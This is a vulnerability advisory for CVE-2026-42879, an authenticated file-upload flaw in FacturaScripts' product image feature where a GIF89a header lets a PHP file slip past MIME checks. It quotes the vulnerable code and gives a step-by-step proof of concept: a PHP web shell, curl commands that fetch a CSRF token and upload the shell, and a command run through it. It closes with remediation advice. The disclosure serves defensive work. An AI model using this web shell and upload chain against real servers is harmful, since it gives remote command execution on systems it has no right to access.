CVE-2026-42879

# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass ## Summary An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. --- ## Details The vulnerability exists in: `Core/Lib/ExtendedController/ProductImagesTrait.php` Specifically in the `addImageAction()` method. ### Vulnerable Code ```php if (false === strpos($uploadFile->getMimeType(), 'image/')) { Tools::log()->error('file-not-supported'); continue; } $folder = Tools::folder('MyFiles'); Tools::folderCheckOrCreate($folder); $uploadFile->move($folder, $uploadFile->getClientOriginalName()); ``` ### Root Cause - The validation only checks if MIME type contains `"image/"` - This can be bypassed by prepending **GIF89a magic bytes** to a PHP file - The system incorrectly identifies the file as `image/gif` - The file is saved with a `.php` extension in a web-accessible directory ### File Storage Behavior Uploaded files are stored in: ``` /MyFiles/YYYY/MM/X.php ``` Where `X` is an auto-incrementing ID. This allows direct remote execution: ``` http://target/MyFiles/2026/03/2.php?cmd=id ``` --- ## Impact Successful exploitation: An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation. --- ## Proof of Concept (Manual) ### Step 1: Create malicious file ```bash cat > shell.jpg.php << 'EOF' GIF89a <?php system($_GET['cmd']); ?> EOF ``` ### Step 2: Authenticate - Login to the application - Extract `PHPSESSID` from browser cookies ### Step 3: Get CSRF token ```bash curl -s "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4 ``` ### Step 4: Upload shell ```bash curl -X POST "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ -F "multireqtoken=YOUR_CSRF_TOKEN" \ -F "action=add-image" \ -F "activetab=EditProductoImagen" \ -F "idproducto=3" \ -F "newfiles[]=@shell.jpg.php" ``` ### Step 5: Execute command ```bash curl "http://target/MyFiles/2026/03/2.php?cmd=id" ``` --- ## Affected Products | Field | Value | |---|---| | Ecosystem | Packagist | | CVE ID | CVE-2026-42879 | | Package Name | `facturascripts/facturascripts` | | Affected Versions | <= 2025.81 | | Patched Versions | Not yet patched | | Fixed in | Pending | --- ## Remediation Recommendations 1. **Validate file extension** — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type 2. **Re-generate filenames on the server** — never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension 3. **Store uploads outside the webroot** — serve files through a controller that streams content, preventing direct URL execution 4. **Use a file type library** — validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME ## Credits - **Discoverer**: Abdullah Alwasabei / Guzrex